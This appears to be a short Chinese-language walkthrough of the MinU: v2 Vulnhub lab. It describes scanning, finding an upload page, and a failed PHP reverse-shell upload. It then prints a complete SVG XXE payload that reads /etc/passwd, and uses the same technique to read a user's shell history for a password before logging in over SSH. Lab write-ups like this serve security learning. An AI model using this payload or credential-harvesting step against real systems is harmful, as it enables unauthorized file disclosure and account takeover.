MinU: v2 Vulnhub Walkthrough

主机层面扫描：

22 和 3306 端口

3306 端口默认是MySQL端口，但是这里尝试爆破报错，最后通http访问发现非MySQL协议，而是一个http的服务

http的协议我们进行目录枚举下

枚举到一个长传的点，我们试试访问下

http://10.10.202.10:3306/upload.html

上传反向shell试试

通过前段绕过svg的格式文件，上传PHP shell 失败，错误页面。

这里使用svg xxe 注入漏洞

https://insinuator.net/2015/03/xxe-injection-in-apache-batik-library-cve-2015-0250/

payload：

<?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">&xxe;</svg>

以上内容保存到svgxxe.svg 文件中，尝试上传下

右键源代码查看

这里我们尝试读取下用户的历史命令，尝试看看是够有用户凭证啥的

这里就读取： /home/employee/.ash_history

└──╼ $sudo useradd -h | grep "\-p"
sudo: unable to resolve host HACK404: Name or service not known
-p, --password PASSWORD encrypted password of the new account

所以这里的-p参数后面的字符串，应该是用户employee的密码

SSHD登陆